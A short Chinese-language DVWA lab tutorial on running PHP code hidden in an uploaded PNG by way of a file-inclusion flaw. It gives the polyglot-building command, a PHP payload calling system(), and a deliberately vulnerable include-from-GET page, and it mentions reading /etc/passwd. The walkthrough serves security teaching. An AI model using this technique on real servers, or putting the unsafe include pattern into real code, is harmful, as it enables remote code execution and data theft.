linux DVWA 文件上传后利用文件包含执行木马文件——php
---- 背景知识点
txt文件、png文件、jpg文件上传到服务器后,通过浏览器直接访问,不能被服务器识别为php文件。
不过,通过php的文件包含,可以把上述各种类型的文件识别为php并运行。
php的文件包含支持php协议、file协议、http协议,所以这时它可以包含另外一个php文件(或者txt、png、jpg文件,它们都被服务器当作php文件)、另外一个本地文件(比如:/etc/passwd)、另外一个远程html文件(比如:可以直接包含http://www.baidu.com)。
----总体步骤
1、生成图片木马
2、上传图片木马
3、通过文件包含执行图片木马
一、生成图片木马
1、随便准备一张图片——football.png
2、test.php写入内容:
<?php echo '<pre>'; // 输出 shell 命令 "ls" 的返回结果 // 并且将输出的最后一样内容返回到 $last_line。 // 将命令的返回值保存到 $retval。 $last_line = system('ls -l', $retval); // 打印更多信息 echo ' </pre> <hr />Last line of the output: ' . $last_line . ' <hr />Return value: ' . $retval; ?>
3、生成图片木马,命令行执行:
cat football.png test.php >> my.png
二、把图片木马 my.png 上传到 apache2 的web目录
具体到linux上的路径是 /var/www/html
三、通过文件包含执行图片马
1、假设在 apache2 的web目录里正好有一个页面文件 fi.php 使用了文件包含,内容如下:
<?php $file=$_GET['page']; include $file; ?>
2、浏览器访问:http://localhost:65530/fi.php?page=my.png
结果如下图:
四、本文结束